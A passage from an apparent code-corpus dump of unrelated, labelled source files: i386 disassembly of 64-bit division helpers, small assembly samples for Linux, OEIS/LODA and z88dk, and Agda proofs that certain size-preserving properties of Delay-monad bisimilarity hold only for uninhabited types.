8b 74 24 34 mov 0x34(%esp),%esi f0101777: 8b 5c 24 38 mov 0x38(%esp),%ebx f010177b: 85 d2 test %edx,%edx f010177d: 75 19 jne f0101798 <__udivdi3+0x38> f010177f: 39 f3 cmp %esi,%ebx f0101781: 76 4d jbe f01017d0 <__udivdi3+0x70> f0101783: 31 ff xor %edi,%edi f0101785: 89 e8 mov %ebp,%eax f0101787: 89 f2 mov %esi,%edx f0101789: f7 f3 div %ebx f010178b: 89 fa mov %edi,%edx f010178d: 83 c4 1c add $0x1c,%esp f0101790: 5b pop %ebx f0101791: 5e pop %esi f0101792: 5f pop %edi f0101793: 5d pop %ebp f0101794: c3 ret f0101795: 8d 76 00 lea 0x0(%esi),%esi f0101798: 39 f2 cmp %esi,%edx f010179a: 76 14 jbe f01017b0 <__udivdi3+0x50> f010179c: 31 ff xor %edi,%edi f010179e: 31 c0 xor %eax,%eax f01017a0: 89 fa mov %edi,%edx f01017a2: 83 c4 1c add $0x1c,%esp f01017a5: 5b pop %ebx f01017a6: 5e pop %esi f01017a7: 5f pop %edi f01017a8: 5d pop %ebp f01017a9: c3 ret f01017aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi f01017b0: 0f bd fa bsr %edx,%edi f01017b3: 83 f7 1f xor $0x1f,%edi f01017b6: 75 48 jne f0101800 <__udivdi3+0xa0> f01017b8: 39 f2 cmp %esi,%edx f01017ba: 72 06 jb f01017c2 <__udivdi3+0x62> f01017bc: 31 c0 xor %eax,%eax f01017be: 39 eb cmp %ebp,%ebx f01017c0: 77 de ja f01017a0 <__udivdi3+0x40> f01017c2: b8 01 00 00 00 mov $0x1,%eax f01017c7: eb d7 jmp f01017a0 <__udivdi3+0x40> f01017c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi f01017d0: 89 d9 mov %ebx,%ecx f01017d2: 85 db test %ebx,%ebx f01017d4: 75 0b jne f01017e1 <__udivdi3+0x81> f01017d6: b8 01 00 00 00 mov $0x1,%eax f01017db: 31 d2 xor %edx,%edx f01017dd: f7 f3 div %ebx f01017df: 89 c1 mov %eax,%ecx f01017e1: 31 d2 xor %edx,%edx f01017e3: 89 f0 mov %esi,%eax f01017e5: f7 f1 div %ecx f01017e7: 89 c6 mov %eax,%esi f01017e9: 89 e8 mov %ebp,%eax f01017eb: 89 f7 mov %esi,%edi f01017ed: f7 f1 div %ecx f01017ef: 89 fa mov %edi,%edx f01017f1: 83 c4 1c add $0x1c,%esp f01017f4: 5b pop %ebx f01017f5: 5e pop %esi f01017f6: 5f pop %edi f01017f7: 5d pop %ebp f01017f8: c3 ret f01017f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi f0101800: 89 f9 mov %edi,%ecx f0101802: b8 20 00 00 00 mov $0x20,%eax f0101807: 29 f8 sub %edi,%eax f0101809: d3 e2 shl %cl,%edx f010180b: 89 54 24 08 mov %edx,0x8(%esp) f010180f: 89 c1 mov %eax,%ecx f0101811: 89 da mov %ebx,%edx f0101813: d3 ea shr %cl,%edx f0101815: 8b 4c 24 08 mov 0x8(%esp),%ecx f0101819: 09 d1 or %edx,%ecx f010181b: 89 f2 mov %esi,%edx f010181d: 89 4c 24 08 mov %ecx,0x8(%esp) f0101821: 89 f9 mov %edi,%ecx f0101823: d3 e3 shl %cl,%ebx f0101825: 89 c1 mov %eax,%ecx f0101827: d3 ea shr %cl,%edx f0101829: 89 f9 mov %edi,%ecx f010182b: 89 5c 24 0c mov %ebx,0xc(%esp) f010182f: 89 eb mov %ebp,%ebx f0101831: d3 e6 shl %cl,%esi f0101833: 89 c1 mov %eax,%ecx f0101835: d3 eb shr %cl,%ebx f0101837: 09 de or %ebx,%esi f0101839: 89 f0 mov %esi,%eax f010183b: f7 74 24 08 divl 0x8(%esp) f010183f: 89 d6 mov %edx,%esi f0101841: 89 c3 mov %eax,%ebx f0101843: f7 64 24 0c mull 0xc(%esp) f0101847: 39 d6 cmp %edx,%esi f0101849: 72 15 jb f0101860 <__udivdi3+0x100> f010184b: 89 f9 mov %edi,%ecx f010184d: d3 e5 shl %cl,%ebp f010184f: 39 c5 cmp %eax,%ebp f0101851: 73 04 jae f0101857 <__udivdi3+0xf7> f0101853: 39 d6 cmp %edx,%esi f0101855: 74 09 je f0101860 <__udivdi3+0x100> f0101857: 89 d8 mov %ebx,%eax f0101859: 31 ff xor %edi,%edi f010185b: e9 40 ff ff ff jmp f01017a0 <__udivdi3+0x40> f0101860: 8d 43 ff lea -0x1(%ebx),%eax f0101863: 31 ff xor %edi,%edi f0101865: e9 36 ff ff ff jmp f01017a0 <__udivdi3+0x40> f010186a: 66 90 xchg %ax,%ax f010186c: 66 90 xchg %ax,%ax f010186e: 66 90 xchg %ax,%ax f0101870 <__umoddi3>: f0101870: f3 0f 1e fb endbr32 f0101874: 55 push %ebp f0101875: 57 push %edi f0101876: 56 push %esi f0101877: 53 push %ebx f0101878: 83 ec 1c sub $0x1c,%esp f010187b: 8b 44 24 3c mov 0x3c(%esp),%eax f010187f: 8b 74 24 30 mov 0x30(%esp),%esi f0101883: 8b 5c 24 34 mov 0x34(%esp),%ebx f0101887: 8b 7c 24 38 mov 0x38(%esp),%edi f010188b: 85 c0 test %eax,%eax f010188d: 75 19 jne f01018a8 <__umoddi3+0x38> f010188f: 39 df cmp %ebx,%edi f0101891: 76 5d jbe f01018f0 <__umoddi3+0x80> f0101893: 89 f0 mov %esi,%eax f0101895: 89 da mov %ebx,%edx f0101897: f7 f7 div %edi f0101899: 89 d0 mov %edx,%eax f010189b: 31 d2 xor %edx,%edx f010189d: 83 c4 1c add $0x1c,%esp f01018a0: 5b pop %ebx f01018a1: 5e pop %esi f01018a2: 5f pop %edi f01018a3: 5d pop %ebp f01018a4: c3 ret f01018a5: 8d 76 00 lea 0x0(%esi),%esi f01018a8: 89 f2 mov %esi,%edx f01018aa: 39 d8 cmp %ebx,%eax f01018ac: 76 12 jbe f01018c0 <__umoddi3+0x50> f01018ae: 89 f0 mov %esi,%eax f01018b0: 89 da mov %ebx,%edx f01018b2: 83 c4 1c add $0x1c,%esp f01018b5: 5b pop %ebx f01018b6: 5e pop %esi f01018b7: 5f pop %edi f01018b8: 5d pop %ebp f01018b9: c3 ret f01018ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi f01018c0: 0f bd e8 bsr %eax,%ebp f01018c3: 83 f5 1f xor $0x1f,%ebp f01018c6: 75 50 jne f0101918 <__umoddi3+0xa8> f01018c8: 39 d8 cmp %ebx,%eax f01018ca: 0f 82 e0 00 00 00 jb f01019b0 <__umoddi3+0x140> f01018d0: 89 d9 mov %ebx,%ecx f01018d2: 39 f7 cmp %esi,%edi f01018d4: 0f 86 d6 00 00 00 jbe f01019b0 <__umoddi3+0x140> f01018da: 89 d0 mov %edx,%eax f01018dc: 89 ca mov %ecx,%edx f01018de: 83 c4 1c add $0x1c,%esp f01018e1: 5b pop %ebx f01018e2: 5e pop %esi f01018e3: 5f pop %edi f01018e4: 5d pop %ebp f01018e5: c3 ret f01018e6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi f01018ed: 8d 76 00 lea 0x0(%esi),%esi f01018f0: 89 fd mov %edi,%ebp f01018f2: 85 ff test %edi,%edi f01018f4: 75 0b jne f0101901 <__umoddi3+0x91> f01018f6: b8 01 00 00 00 mov $0x1,%eax f01018fb: 31 d2 xor %edx,%edx f01018fd: f7 f7 div %edi f01018ff: 89 c5 mov %eax,%ebp f0101901: 89 d8 mov %ebx,%eax f0101903: 31 d2 xor %edx,%edx f0101905: f7 f5 div %ebp f0101907: 89 f0 mov %esi,%eax f0101909: f7 f5 div %ebp f010190b: 89 d0 mov %edx,%eax f010190d: 31 d2 xor %edx,%edx f010190f: eb 8c jmp f010189d <__umoddi3+0x2d> f0101911: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi f0101918: 89 e9 mov %ebp,%ecx f010191a: ba 20 00 00 00 mov $0x20,%edx f010191f: 29 ea sub %ebp,%edx f0101921: d3 e0 shl %cl,%eax f0101923: 89 44 24 08 mov %eax,0x8(%esp) f0101927: 89 d1 mov %edx,%ecx f0101929: 89 f8 mov %edi,%eax f010192b: d3 e8 shr %cl,%eax f010192d: 8b 4c 24 08 mov 0x8(%esp),%ecx f0101931: 89 54 24 04 mov %edx,0x4(%esp) f0101935: 8b 54 24 04 mov 0x4(%esp),%edx f0101939: 09 c1 or %eax,%ecx f010193b: 89 d8 mov %ebx,%eax f010193d: 89 4c 24 08 mov %ecx,0x8(%esp) f0101941: 89 e9 mov %ebp,%ecx f0101943: d3 e7 shl %cl,%edi f0101945: 89 d1 mov %edx,%ecx f0101947: d3 e8 shr %cl,%eax f0101949: 89 e9 mov %ebp,%ecx f010194b: 89 7c 24 0c mov %edi,0xc(%esp) f010194f: d3 e3 shl %cl,%ebx f0101951: 89 c7 mov %eax,%edi f0101953: 89 d1 mov %edx,%ecx f0101955: 89 f0 mov %esi,%eax f0101957: d3 e8 shr %cl,%eax f0101959: 89 e9 mov %ebp,%ecx f010195b: 89 fa mov %edi,%edx f010195d: d3 e6 shl %cl,%esi f010195f: 09 d8 or %ebx,%eax f0101961: f7 74 24 08 divl 0x8(%esp) f0101965: 89 d1 mov %edx,%ecx f0101967: 89 f3 mov %esi,%ebx f0101969: f7 64 24 0c mull 0xc(%esp) f010196d: 89 c6 mov %eax,%esi f010196f: 89 d7 mov %edx,%edi f0101971: 39 d1 cmp %edx,%ecx f0101973: 72 06 jb f010197b <__umoddi3+0x10b> f0101975: 75 10 jne f0101987 <__umoddi3+0x117> f0101977: 39 c3 cmp %eax,%ebx f0101979: 73 0c jae f0101987 <__umoddi3+0x117> f010197b: 2b 44 24 0c sub 0xc(%esp),%eax f010197f: 1b 54 24 08 sbb 0x8(%esp),%edx f0101983: 89 d7 mov %edx,%edi f0101985: 89 c6 mov %eax,%esi f0101987: 89 ca mov %ecx,%edx f0101989: 0f b6 4c 24 04 movzbl 0x4(%esp),%ecx f010198e: 29 f3 sub %esi,%ebx f0101990: 19 fa sbb %edi,%edx f0101992: 89 d0 mov %edx,%eax f0101994: d3 e0 shl %cl,%eax f0101996: 89 e9 mov %ebp,%ecx f0101998: d3 eb shr %cl,%ebx f010199a: d3 ea shr %cl,%edx f010199c: 09 d8 or %ebx,%eax f010199e: 83 c4 1c add $0x1c,%esp f01019a1: 5b pop %ebx f01019a2: 5e pop %esi f01019a3: 5f pop %edi f01019a4: 5d pop %ebp f01019a5: c3 ret f01019a6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi f01019ad: 8d 76 00 lea 0x0(%esi),%esi f01019b0: 29 fe sub %edi,%esi f01019b2: 19 c3 sbb %eax,%ebx f01019b4: 89 f2 mov %esi,%edx f01019b6: 89 d9 mov %ebx,%ecx f01019b8: e9 1d ff ff ff jmp f01018da <__umoddi3+0x6a>
bin/JWASM/Samples/Linux5.asm
Abd-Beltaji/ASMEMU
3
83942
<reponame>Abd-Beltaji/ASMEMU<gh_stars>1-10 ;------------------------------------------------------------------------------ ; ; Hello, world !! for Linux with JWasm's BIN format. ; Written by <NAME>. ; ; > jwasm -q -bin -Fo=Linux5. Linux5.asm ; > chmod 755 Linux5 ; ; How to: ; 1. file elf32.inc must be included. ; 2. Macro 'elf32_header' is to be put before start label '_start'. ; 3. Macro 'elf32_footer' is to be put before last 'end _start'. ; ; Restrictions: ; - It is only one section. ; - Start label is '_start'. ;------------------------------------------------------------------------------ .386 .model flat include elf32.inc .code elf32_header ELF_Linux _start: mov ecx,offset msg mov edx,sizeof msg mov eax,4 mov ebx,1 int 080h mov eax,1 xor ebx,ebx int 080h msg db 'Hello World !!', 0ah elf32_footer end _start
oeis/127/A127830.asm
neoneye/loda-programs
11
170767
<reponame>neoneye/loda-programs ; A127830: a(n)=sum{k=0..n, mod(C(floor(k/2),n-k),2)}. ; Submitted by <NAME> ; 1,1,1,2,2,1,2,3,3,3,2,2,3,2,3,5,5,4,4,5,4,3,3,3,4,4,3,4,5,3,5,8,8,7,6,7,7,5,6,8,7,6,5,5,5,4,4,5,6,5,5,7,6,4,5,6,7,7,5,6,8,5,8,13,13,11,10,12,11,8,9,11,11,10,8,9,10,7,9,13,12 mov $2,$0 add $0,1 lpb $0 sub $0,1 mov $3,$2 sub $3,$0 div $3,2 mov $4,0 mov $5,$3 trn $5,$0 mov $9,$5 mov $11,$5 cmp $11,0 mul $11,$0 add $9,$11 mov $10,$3 cmp $10,$0 cmp $10,0 mul $9,$10 mov $8,$9 mov $12,$0 lpb $8 mov $6,$12 mod $6,2 mov $7,$9 mod $7,2 mul $6,$7 add $4,$6 div $9,2 mov $8,$9 div $12,2 lpe cmp $4,0 add $1,$4 lpe mov $0,$1
libsrc/adt/stack/adt_StackPush.asm
jpoikela/z88dk
38
98651
<filename>libsrc/adt/stack/adt_StackPush.asm ; int adt_StackPush(struct adt_Stack *s, void *item) ; CALLER linkage for function pointers SECTION code_clib PUBLIC adt_StackPush PUBLIC _adt_StackPush EXTERN adt_StackPush_callee EXTERN ASMDISP_ADT_STACKPUSH_CALLEE .adt_StackPush ._adt_StackPush pop bc pop de pop hl push hl push de push bc jp adt_StackPush_callee + ASMDISP_ADT_STACKPUSH_CALLEE
test/interaction/RecordUpdateSyntax.agda
shlevy/agda
1,989
8721
module RecordUpdateSyntax where data ⊤ : Set where tt : ⊤ record R : Set where field a b : ⊤ test : R test = record {!!} { a = tt }
src/Delay-monad/Bisimilarity/Negative.agda
nad/delay-monad
0
3446
<reponame>nad/delay-monad ------------------------------------------------------------------------ -- Some negative results related to weak bisimilarity and expansion ------------------------------------------------------------------------ {-# OPTIONS --sized-types #-} open import Prelude module Delay-monad.Bisimilarity.Negative {a} {A : Type a} where open import Equality.Propositional open import Logical-equivalence using (_⇔_) open import Prelude.Size open import Function-universe equality-with-J hiding (id; _∘_) open import Delay-monad open import Delay-monad.Bisimilarity open import Delay-monad.Termination ------------------------------------------------------------------------ -- Lemmas stating that functions of certain types can be defined iff A -- is uninhabited -- The computation now x is an expansion of -- later (record { force = now x }) for every x : A iff A is -- uninhabited. Now≳later-now = (x : A) → now x ≳ later (record { force = now x }) now≳later-now⇔uninhabited : Now≳later-now ⇔ ¬ A now≳later-now⇔uninhabited = record { to = Now≳later-now ↝⟨ (λ hyp x → case hyp x of λ ()) ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≳ y) ↝⟨ (λ hyp _ → hyp _ _) ⟩□ Now≳later-now □ } -- A variant of laterˡ⁻¹ for (fully defined) expansion can be defined -- iff A is uninhabited. Laterˡ⁻¹-≳ = ∀ {x} {y : Delay A ∞} → later x ≳ y → force x ≳ y laterˡ⁻¹-≳⇔uninhabited : Laterˡ⁻¹-≳ ⇔ ¬ A laterˡ⁻¹-≳⇔uninhabited = record { to = Laterˡ⁻¹-≳ ↝⟨ (λ hyp _ → hyp (reflexive _)) ⟩ Now≳later-now ↝⟨ _⇔_.to now≳later-now⇔uninhabited ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≳ y) ↝⟨ (λ hyp {_ _} _ → hyp _ _) ⟩□ Laterˡ⁻¹-≳ □ } -- The following variants of transitivity can be proved iff A is -- uninhabited. Transitivity-≈≳≳ = {x y z : Delay A ∞} → x ≈ y → y ≳ z → x ≳ z Transitivity-≳≈≳ = {x y z : Delay A ∞} → x ≳ y → y ≈ z → x ≳ z transitive-≈≳≳⇔uninhabited : Transitivity-≈≳≳ ⇔ ¬ A transitive-≈≳≳⇔uninhabited = record { to = Transitivity-≈≳≳ ↝⟨ (λ trans → trans (laterʳ (reflexive _))) ⟩ Laterˡ⁻¹-≳ ↝⟨ _⇔_.to laterˡ⁻¹-≳⇔uninhabited ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≳ y) ↝⟨ (λ hyp {_ _ _} _ _ → hyp _ _) ⟩□ Transitivity-≈≳≳ □ } transitive-≳≈≳⇔uninhabited : Transitivity-≳≈≳ ⇔ ¬ A transitive-≳≈≳⇔uninhabited = record { to = Transitivity-≳≈≳ ↝⟨ (λ trans {_ y} lx≳y → later⁻¹ {y = record { force = y }} (trans lx≳y (laterʳ (reflexive _)))) ⟩ Laterˡ⁻¹-≳ ↝⟨ _⇔_.to laterˡ⁻¹-≳⇔uninhabited ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≳ y) ↝⟨ (λ hyp {_ _ _} _ _ → hyp _ _) ⟩□ Transitivity-≳≈≳ □ } ------------------------------------------------------------------------ -- Lemmas stating that certain size-preserving functions can be -- defined iff A is uninhabited -- A variant of laterˡ⁻¹ in which one occurrence of weak bisimilarity -- is replaced by strong bisimilarity, and both arguments are -- specialised, can be made size-preserving iff A is uninhabited. -- -- This lemma is used to prove all other similar results below -- (directly or indirectly), with the exception that an alternative, -- more direct proof is also given for one of the results. Laterˡ⁻¹-∼≈ = ∀ {i} {x : A} → [ i ] later (λ { .force → now x }) ∼ never → [ i ] now x ≈ never size-preserving-laterˡ⁻¹-∼≈⇔uninhabited : Laterˡ⁻¹-∼≈ ⇔ ¬ A size-preserving-laterˡ⁻¹-∼≈⇔uninhabited = record { to = Laterˡ⁻¹-∼≈ ↝⟨ (λ laterˡ⁻¹-∼≈ x → contradiction (laterˡ⁻¹-∼≈ {_}) x ∞) ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≈ y) ↝⟨ (λ trivial {_ _} _ → trivial _ _) ⟩□ Laterˡ⁻¹-∼≈ □ } where module _ (laterˡ⁻¹-∼≈ : Laterˡ⁻¹-∼≈) (x : A) where mutual now≈never : ∀ {i} → [ i ] now x ≈ never now≈never = laterˡ⁻¹-∼≈ (later now∼never) now∼never : ∀ {i} → [ i ] now x ∼′ never force now∼never {j = j} = ⊥-elim (contradiction j) contradiction : Size → ⊥ contradiction i = now≉never (now≈never {i = i}) -- A variant of Laterˡ⁻¹-∼≈ which it is sometimes easier to work with. Laterˡ⁻¹-∼≈′ = ∀ {i} {x : A} → [ i ] later (record { force = now x }) ∼ never → [ i ] now x ≈ never size-preserving-laterˡ⁻¹-∼≈′⇔uninhabited : Laterˡ⁻¹-∼≈′ ⇔ ¬ A size-preserving-laterˡ⁻¹-∼≈′⇔uninhabited = Laterˡ⁻¹-∼≈′ ↝⟨ record { to = _∘ transitive-∼ʳ (later λ { .force → now }) ; from = _∘ transitive-∼ʳ (later λ { .force → now }) } ⟩ Laterˡ⁻¹-∼≈ ↝⟨ size-preserving-laterˡ⁻¹-∼≈⇔uninhabited ⟩□ ¬ A □ -- A variant of laterʳ⁻¹ for weak bisimilarity in which one occurrence -- of weak bisimilarity is replaced by strong bisimilarity, and both -- arguments are specialised, can be made size-preserving iff A is -- uninhabited. Laterʳ⁻¹-∼≈ = ∀ {i} {x : A} → [ i ] never ∼ later (record { force = now x }) → [ i ] never ≈ now x size-preserving-laterʳ⁻¹-∼≈⇔uninhabited : Laterʳ⁻¹-∼≈ ⇔ ¬ A size-preserving-laterʳ⁻¹-∼≈⇔uninhabited = Laterʳ⁻¹-∼≈ ↝⟨ record { to = λ laterʳ⁻¹ → symmetric ∘ laterʳ⁻¹ ∘ symmetric ; from = λ laterˡ⁻¹ → symmetric ∘ laterˡ⁻¹ ∘ symmetric } ⟩ Laterˡ⁻¹-∼≈′ ↝⟨ size-preserving-laterˡ⁻¹-∼≈′⇔uninhabited ⟩□ ¬ A □ -- A variant of laterʳ⁻¹ for expansion in which one occurrence of the -- expansion relation is replaced by strong bisimilarity, and both -- arguments are specialised, can be made size-preserving iff A is -- uninhabited. Laterʳ⁻¹-∼≳ = ∀ {i} {x : A} → [ i ] never ∼ later (record { force = now x }) → [ i ] never ≳ now x size-preserving-laterʳ⁻¹-∼≳⇔uninhabited : Laterʳ⁻¹-∼≳ ⇔ ¬ A size-preserving-laterʳ⁻¹-∼≳⇔uninhabited = record { to = Laterʳ⁻¹-∼≳ ↝⟨ ≳→ ∘_ ⟩ Laterʳ⁻¹-∼≈ ↝⟨ _⇔_.to size-preserving-laterʳ⁻¹-∼≈⇔uninhabited ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≳ y) ↝⟨ (λ trivial {_ _} _ → trivial _ _) ⟩□ Laterʳ⁻¹-∼≳ □ } -- The function laterˡ⁻¹ can be made size-preserving iff A is -- uninhabited. Laterˡ⁻¹-≈ = ∀ {i x} {y : Delay A ∞} → [ i ] later x ≈ y → [ i ] force x ≈ y size-preserving-laterˡ⁻¹-≈⇔uninhabited : Laterˡ⁻¹-≈ ⇔ ¬ A size-preserving-laterˡ⁻¹-≈⇔uninhabited = record { to = Laterˡ⁻¹-≈ ↝⟨ _∘ ∼→ ⟩ Laterˡ⁻¹-∼≈ ↝⟨ _⇔_.to size-preserving-laterˡ⁻¹-∼≈⇔uninhabited ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≈ y) ↝⟨ (λ trivial {_ _ _} _ → trivial _ _) ⟩□ Laterˡ⁻¹-≈ □ } -- The function laterʳ⁻¹ can be made size-preserving for weak -- bisimilarity iff A is uninhabited. Laterʳ⁻¹-≈ = ∀ {i} {x : Delay A ∞} {y} → [ i ] x ≈ later y → [ i ] x ≈ force y size-preserving-laterʳ⁻¹-≈⇔uninhabited : Laterʳ⁻¹-≈ ⇔ ¬ A size-preserving-laterʳ⁻¹-≈⇔uninhabited = Laterʳ⁻¹-≈ ↝⟨ record { to = λ laterʳ⁻¹ → symmetric ∘ laterʳ⁻¹ ∘ symmetric ; from = λ laterˡ⁻¹ → symmetric ∘ laterˡ⁻¹ ∘ symmetric } ⟩ Laterˡ⁻¹-≈ ↝⟨ size-preserving-laterˡ⁻¹-≈⇔uninhabited ⟩□ ¬ A □ -- The function laterʳ⁻¹ can be made size-preserving for expansion iff -- A is uninhabited. Laterʳ⁻¹-≳ = ∀ {i} {x : Delay A ∞} {y} → [ i ] x ≳ later y → [ i ] x ≳ force y size-preserving-laterʳ⁻¹-≳⇔uninhabited : Laterʳ⁻¹-≳ ⇔ ¬ A size-preserving-laterʳ⁻¹-≳⇔uninhabited = record { to = Laterʳ⁻¹-≳ ↝⟨ _∘ ∼→ ⟩ Laterʳ⁻¹-∼≳ ↝⟨ _⇔_.to size-preserving-laterʳ⁻¹-∼≳⇔uninhabited ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≳ y) ↝⟨ (λ trivial {_ _ _} _ → trivial _ _) ⟩□ Laterʳ⁻¹-≳ □ } -- A variant of ⇓-respects-≈ in which _≈_ is replaced by _∼_ can be -- made size-preserving in the second argument iff A is uninhabited. ⇓-Respects-∼ʳ = ∀ {i x y} {z : A} → x ⇓ z → [ i ] x ∼ y → Terminates i y z size-preserving-⇓-respects-∼ʳ⇔uninhabited : ⇓-Respects-∼ʳ ⇔ ¬ A size-preserving-⇓-respects-∼ʳ⇔uninhabited = record { to = ⇓-Respects-∼ʳ ↝⟨ (λ resp → resp (laterʳ now)) ⟩ Laterˡ⁻¹-∼≈ ↝⟨ _⇔_.to size-preserving-laterˡ⁻¹-∼≈⇔uninhabited ⟩ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≈ y) ↝⟨ (λ trivial {_ _ _ _} _ _ → trivial _ _) ⟩□ ⇓-Respects-∼ʳ □ } -- The lemma ⇓-respects-≈ can be made size-preserving in the second -- argument iff A is uninhabited. ⇓-Respects-≈ʳ = ∀ {i x y} {z : A} → x ⇓ z → [ i ] x ≈ y → Terminates i y z size-preserving-⇓-respects-≈ʳ⇔uninhabited : ⇓-Respects-≈ʳ ⇔ ¬ A size-preserving-⇓-respects-≈ʳ⇔uninhabited = record { to = ⇓-Respects-≈ʳ ↝⟨ (λ resp x⇓z → resp x⇓z ∘ ∼→) ⟩ ⇓-Respects-∼ʳ ↝⟨ _⇔_.to size-preserving-⇓-respects-∼ʳ⇔uninhabited ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≈ y) ↝⟨ (λ trivial {_ _ _ _} _ _ → trivial _ _) ⟩□ ⇓-Respects-≈ʳ □ } -- There is a transitivity-like proof, taking weak bisimilarity and -- strong bisimilarity to weak bisimilarity, that preserves the size -- of the second argument iff A is uninhabited. Transitivity-≈∼ʳ = ∀ {i} {x y z : Delay A ∞} → x ≈ y → [ i ] y ∼ z → [ i ] x ≈ z size-preserving-transitivity-≈∼ʳ⇔uninhabited : Transitivity-≈∼ʳ ⇔ ¬ A size-preserving-transitivity-≈∼ʳ⇔uninhabited = record { to = Transitivity-≈∼ʳ ↝⟨ (λ trans → trans) ⟩ ⇓-Respects-∼ʳ ↝⟨ _⇔_.to size-preserving-⇓-respects-∼ʳ⇔uninhabited ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≈ y) ↝⟨ (λ trivial {_ _ _ _} _ _ → trivial _ _) ⟩□ Transitivity-≈∼ʳ □ } -- There is a transitivity-like proof, taking strong bisimilarity and -- weak bisimilarity to weak bisimilarity, that preserves the size of -- the first argument iff A is uninhabited. Transitivity-∼≈ˡ = ∀ {i} {x y z : Delay A ∞} → [ i ] x ∼ y → y ≈ z → [ i ] x ≈ z size-preserving-transitivity-∼≈ˡ⇔uninhabited : Transitivity-∼≈ˡ ⇔ ¬ A size-preserving-transitivity-∼≈ˡ⇔uninhabited = Transitivity-∼≈ˡ ↝⟨ record { to = λ trans {_ _ _ _} p q → symmetric (trans (symmetric q) (symmetric p)) ; from = λ trans {_ _ _ _} p q → symmetric (trans (symmetric q) (symmetric p)) } ⟩ Transitivity-≈∼ʳ ↝⟨ size-preserving-transitivity-≈∼ʳ⇔uninhabited ⟩□ ¬ A □ -- There is a transitivity-like proof, taking strong bisimilarity and -- expansion to expansion, that preserves the size of the first -- argument iff A is uninhabited. Transitivity-∼≳ˡ = ∀ {i} {x y z : Delay A ∞} → [ i ] x ∼ y → y ≳ z → [ i ] x ≳ z size-preserving-transitivity-∼≳ˡ⇔uninhabited : Transitivity-∼≳ˡ ⇔ ¬ A size-preserving-transitivity-∼≳ˡ⇔uninhabited = record { to = Transitivity-∼≳ˡ ↝⟨ (λ trans never∼lnx → trans never∼lnx (laterˡ now)) ⟩ Laterʳ⁻¹-∼≳ ↝⟨ _⇔_.to size-preserving-laterʳ⁻¹-∼≳⇔uninhabited ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≳ y) ↝⟨ (λ trivial {_ _ _ _} _ _ → trivial _ _) ⟩□ Transitivity-∼≳ˡ □ } -- There is a transitivity proof for weak bisimilarity that preserves -- the size of the second argument iff A is uninhabited. Transitivity-≈ʳ = ∀ {i} {x y z : Delay A ∞} → x ≈ y → [ i ] y ≈ z → [ i ] x ≈ z size-preserving-transitivity-≈ʳ⇔uninhabited : Transitivity-≈ʳ ⇔ ¬ A size-preserving-transitivity-≈ʳ⇔uninhabited = record { to = Transitivity-≈ʳ ↝⟨ (λ trans → trans) ⟩ ⇓-Respects-≈ʳ ↝⟨ _⇔_.to size-preserving-⇓-respects-≈ʳ⇔uninhabited ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≈ y) ↝⟨ (λ trivial {_ _ _ _} _ _ → trivial _ _) ⟩□ Transitivity-≈ʳ □ } -- There is a transitivity proof for weak bisimilarity that preserves -- the size of the first argument iff A is uninhabited. Transitivity-≈ˡ = ∀ {i} {x y z : Delay A ∞} → [ i ] x ≈ y → y ≈ z → [ i ] x ≈ z size-preserving-transitivity-≈ˡ⇔uninhabited : Transitivity-≈ˡ ⇔ ¬ A size-preserving-transitivity-≈ˡ⇔uninhabited = Transitivity-≈ˡ ↝⟨ record { to = λ trans {_ _ _ _} p q → symmetric (trans (symmetric q) (symmetric p)) ; from = λ trans {_ _ _ _} p q → symmetric (trans (symmetric q) (symmetric p)) } ⟩ Transitivity-≈ʳ ↝⟨ size-preserving-transitivity-≈ʳ⇔uninhabited ⟩□ ¬ A □ -- There is a transitivity proof for expansion that preserves the size -- of the first argument iff A is uninhabited. Transitivity-≳ˡ = ∀ {i} {x y z : Delay A ∞} → [ i ] x ≳ y → y ≳ z → [ i ] x ≳ z size-preserving-transitivity-≳ˡ⇔uninhabited : Transitivity-≳ˡ ⇔ ¬ A size-preserving-transitivity-≳ˡ⇔uninhabited = record { to = Transitivity-≳ˡ ↝⟨ _∘ ∼→ ⟩ Transitivity-∼≳ˡ ↝⟨ _⇔_.to size-preserving-transitivity-∼≳ˡ⇔uninhabited ⟩□ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≳ y) ↝⟨ (λ trivial {_ _ _ _} _ _ → trivial _ _) ⟩□ Transitivity-≳ˡ □ } -- There is a fully size-preserving transitivity proof for weak -- bisimilarity iff A is uninhabited. Transitivity-≈ = ∀ {i} {x y z : Delay A ∞} → [ i ] x ≈ y → [ i ] y ≈ z → [ i ] x ≈ z size-preserving-transitivity-≈⇔uninhabited : Transitivity-≈ ⇔ ¬ A size-preserving-transitivity-≈⇔uninhabited = record { to = Transitivity-≈ ↝⟨ (λ trans → trans) ⟩ Transitivity-≈ˡ ↝⟨ _⇔_.to size-preserving-transitivity-≈ˡ⇔uninhabited ⟩ ¬ A □ ; from = ¬ A ↝⟨ uninhabited→trivial ⟩ (∀ x y → x ≈ y) ↝⟨ (λ trivial 